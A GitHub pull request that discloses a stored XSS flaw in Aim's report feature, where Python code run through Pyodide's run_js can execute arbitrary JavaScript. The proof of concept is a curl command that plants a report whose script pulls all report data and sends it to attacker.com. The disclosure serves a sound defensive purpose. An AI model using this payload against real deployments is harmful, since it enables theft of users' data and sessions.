Skip to content

Fixed XSS in report section #3333

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

geckosecurity
Copy link

Version: 3.28.0

Description

Malicious Python code can be embedded within reports to execute arbitrary JavaScript in users' browsers. The issue occurs because the application allows users to store Python code in reports that is automatically executed when viewed by other users. The vulnerability stems from the ability to use Pyodide's JavaScript bridge without any restrictions, allowing attackers to break out of the intended Python execution sandbox.

Source - Sink Analysis

  1. Source: The entry point is the /api/reports API endpoint which accepts user-supplied Python code in the code field of POST requests.
  2. Data Flow:
    • Code is stored in the database as-is with no sanitization (via Report model in aim/web/api/reports/models.py)
    • When retrieved, the code is embedded within a React component
    • The markdown renderer interprets code blocks with the "aim" language tag
    • These code blocks are passed to the Board component for execution
  3. Sink: Execution occurs in Board.tsx where:
    • Pyodide loads and executes the Python code
    • The Python code uses pyodide.code.run_js() to execute arbitrary JavaScript
    • No restrictions or checks are implemented on what JavaScript can be executed

The vulnerability exists because there is no sanitization between the API input and the JavaScript execution.

Proof of Concept

  1. Create a malicious report:

    curl --location 'http://127.0.0.1:{PORT}/api/reports' \
      --header 'Content-Type: application/json' \
      --data '{"name":"Security Test","description":"","code":"```aim\nimport pyodide\npyodide.code.run_js(\"fetch(\\\"/api/reports\\\").then(r=>r.json()).then(data=>{const img=new Image(); img.src=\\\"https://attacker.com/steal?\\\"+encodeURIComponent(JSON.stringify(data))})\")\n```"}'
  2. Note the report ID returned in the response

  3. Visit the report and upon loading, the malicious JavaScript executes in the victim's browser context, sending all reports data to the attacker-controlled server

This demonstrates data exfiltration, but other payloads could perform different malicious actions.

Impact

  • Attackers can run any JavaScript code in victims' browsers
  • Steal authentication cookies and tokens
  • Access and steal sensitive information from the application
  • Make authenticated requests on behalf of victims

@CLAassistant
Copy link

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
You have signed the CLA already but the status is still pending? Let us recheck it.

1 similar comment
@CLAassistant
Copy link

CLA assistant check
Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.
You have signed the CLA already but the status is still pending? Let us recheck it.

@geckosecurity
Copy link
Author

Hi @alberttorosyan @mihran113 — just wanted to check in on this too. Let me know if there’s anything you’d like us to adjust or explain further.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants